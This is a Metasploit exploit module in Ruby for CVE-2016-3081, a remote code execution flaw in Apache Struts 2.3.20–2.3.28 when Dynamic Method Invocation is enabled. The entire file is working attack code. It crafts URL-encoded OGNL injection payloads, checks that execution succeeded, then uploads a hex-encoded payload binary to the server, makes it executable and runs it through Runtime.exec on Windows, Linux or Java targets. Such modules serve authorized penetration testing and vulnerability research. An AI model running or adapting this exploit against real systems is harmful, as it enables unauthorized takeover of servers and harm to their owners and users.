Apache Struts Dynamic Method Invocation Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Struts Dynamic Method Invocation Remote Code Execution',
        'Description' => %q{
          This module exploits a remote command execution vulnerability in Apache Struts
          version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
          Execution can be performed via method: prefix when Dynamic Method Invocation
          is enabled.
        },
        'Author' => [
          'Nixawk', # original metasploit module
          'rungobier' # improved metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2016-3081' ],
          [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ]
        ],
        'Privileged' => true,
        'Targets' => [
          [
            'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          [
            'Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
          [
            'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ]
        ],
        'DisclosureDate' => '2016-04-27',
        'DefaultTarget' => 2,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-blank/example/HelloWorld.action']),
        OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
      ]
    )
  end

  def print_status(msg = '')
    super("#{peer} - #{msg}")
  end

  def get_target_platform
    target.platform.platforms.first
  end

  def temp_path
    @TMPPATH ||= lambda {
      path = datastore['TMPPATH']
      return nil unless path

      case get_target_platform
      when Msf::Module::Platform::Windows
        '\\'
      when
        '/'
      end

      unless path.end_with?('/')
        path << '/'
      end
      return path
    }.call
  end

  def send_http_request(payload, params_hash)
    uri = normalize_uri(datastore['TARGETURI'])
    uri = "#{uri}?#{payload}"
    resp = send_request_cgi(
      'uri' => uri,
      'version' => '1.1',
      'method' => 'POST',
      'vars_post' => params_hash
    )
    if resp && resp.code == 404
      fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
    end
    resp
  end

  def generate_rce_payload(code)
    payload = 'method:'
    payload << Rex::Text.uri_encode('#[email protected]@DEFAULT_MEMBER_ACCESS')
    payload << ','
    payload << Rex::Text.uri_encode(code)
    payload << ','
    payload << Rex::Text.uri_encode('1?#xx:#request.toString')
    payload
  end

  def upload_exec(cmd, filename, content)
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    var_c = rand_text_alpha_lower(4)
    var_d = rand_text_alpha_lower(4)
    var_e = rand_text_alpha_lower(4)
    var_f = rand_text_alpha_lower(4)

    code = "##{var_a}=new sun.misc.BASE64Decoder(),"
    code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),"
    code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close(),"
    code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true),"
    code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))"
    payload = generate_rce_payload(code)

    params_hash = {
      var_d => Rex::Text.encode_base64(cmd),
      var_e => Rex::Text.encode_base64(filename),
      var_f => content
    }
    send_http_request(payload, params_hash)
  end

  def check
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)

    addend_one = rand_text_numeric(rand(1..3)).to_i
    addend_two = rand_text_numeric(rand(1..3)).to_i
    sum = addend_one + addend_two
    flag = Rex::Text.rand_text_alpha(5)

    code = "##{var_a}[email protected]@getResponse().getWriter(),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.close()"

    payload = generate_rce_payload(code)
    params_hash = { var_b => flag }

    begin
      resp = send_http_request(payload, params_hash)
    rescue Msf::Exploit::Failed
      return Exploit::CheckCode::Unknown('An error occurred while checking the target')
    end

    if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
      Exploit::CheckCode::Vulnerable('Successfully verified remote code execution')
    else
      Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  def exploit
    payload_exe = rand_text_alphanumeric(rand(4..7))
    case target['Platform']
    when 'java'
      payload_exe = "#{temp_path}#{payload_exe}.jar"
      pl_exe = payload.encoded_jar.pack
      command = "java -jar #{payload_exe}"
    when 'linux'
      path = datastore['TMPPATH'] || '/tmp/'
      pl_exe = generate_payload_exe
      payload_exe = "#{path}#{payload_exe}"
      command = "/bin/sh -c #{payload_exe}"
    when 'win'
      path = temp_path || '.\\'
      pl_exe = generate_payload_exe
      payload_exe = "#{path}#{payload_exe}.exe"
      command = "cmd.exe /c #{payload_exe}"
    else
      fail_with(Failure::NoTarget, 'Unsupported target platform!')
    end

    pl_content = pl_exe.unpack('H*').join

    print_status("Uploading exploit to #{payload_exe}, and executing it.")
    upload_exec(command, payload_exe, pl_content)

    handler
  end
end